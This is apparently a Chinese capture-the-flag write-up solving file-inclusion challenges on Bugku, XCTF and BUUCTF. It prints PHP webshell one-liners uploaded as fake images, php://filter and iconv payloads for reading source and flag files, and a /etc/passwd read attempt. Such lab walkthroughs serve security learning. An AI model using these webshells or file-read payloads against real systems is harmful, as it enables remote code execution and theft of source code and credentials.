文件包含
Bugku
2.文件包含
1
进入场景一个封面 没有什么提示
可能是隐藏了 看源代码发现<!-- upload.php -->进入看看 发现上传界面
法一:新建一个txt文件写入 <script language=php>system("ls")</script> 后另存为 jpg 格式 选择浏览上传文件访问 保存进去的文件 即 Save in 后面的图片路径因为我们写入了ls命令,用于显示当前目录下所有文件,发现了flag文件
http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt
法二:不需要上传什么文件,直接upload然后抓包 然后ctrl+r发送到reperter里面,传入一句话木马 <?=eval($_POST['pass']);>改动如下:(在request修改完点go会在response返显) 进入文件路径得到flag
法三:一句话木马,连接菜刀 我们将方法二的一句话改成下面这个 <script language=php>echo 'a'; eval($_POST['pass']);</script>这种方法会返回a。并且菜刀连接成功。
咱用第三种得到flag
2
进入靶场什么没发现 F12看到注释像网页
访问看看发现个上传页面
直接抓包上传木马文件得到路径
上面不可以连接 就用下面那个格式
菜刀连接不上
解决
1.连接不上就直接访问路径看看 好吧什么也没有
- 直接用构造系统语句上传再访问路径 得到文件
用这个访问文件得到flag
39.文件包含
进入看到一个链接
进入看到他的链接多了点东西http://114.67.175.224:11955/index.php?file=show.php
看到file知道是这个为突破点了
Payload:?file=php://filter/read=convert.base64-encode/resource=index.php
读取出来
解码得到flag
攻防世界
1.题目名称-文件包含
进入场景看到一串代码
题目提示文件包含就想到了php://filter 加 convert.base64-encode 文件读取 flag.php
?filename=php://filter/read=convert.base64/resource=/etc/passwd
用data试一试
可以通过data filename=php://data://text/plain,%20phpinfo();
过不去 发现跟过滤了一些单词 read base64
只能用其他filt过滤器绕过得到flag
?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
Buuctf
[极客挑战]
1. SecretFile
页面没有任何提示F12查看一源码看看先
查看F12的时候发现有一个链接
点击之后
没有什么有效信息
尝试用burpsuite抓包看看能不能获取有用信息
在响应头的html处获取到一个新的php
secr3t.php
访问之后得到新的内容
提示说flag值在flag.php里面
猜测需要使用php仿协议进行
?file=php://filter/read=convert.base64-encode/resource=flag.php
读取flag.php源码 PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZjY5YjI1ZjItODYxZC00OTk1LTg5MTEtMDU4MzU5OTZiNzdhfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
进行base64解码
获得flag
2. Include
打开发现只有一个链接,点击链接跳转瞅瞅
跳转之后发现只有一句话
Can you find out the flag?
URL: http://ec15d0b0-6c6b-4605-8282-6ed2f91853e7.node4.buuoj.cn:81/?file=flag.php
链接显示为?file=flag.php,大胆猜测一下为文件包含类型的题目
采用PHP仿协议读取内容
?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter?
read=convert.base64-encode/resource=flag.php
php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
得到
通过base64解码查看index.php源码
再次通过仿协议读取flag.php
再次解码
得到flag值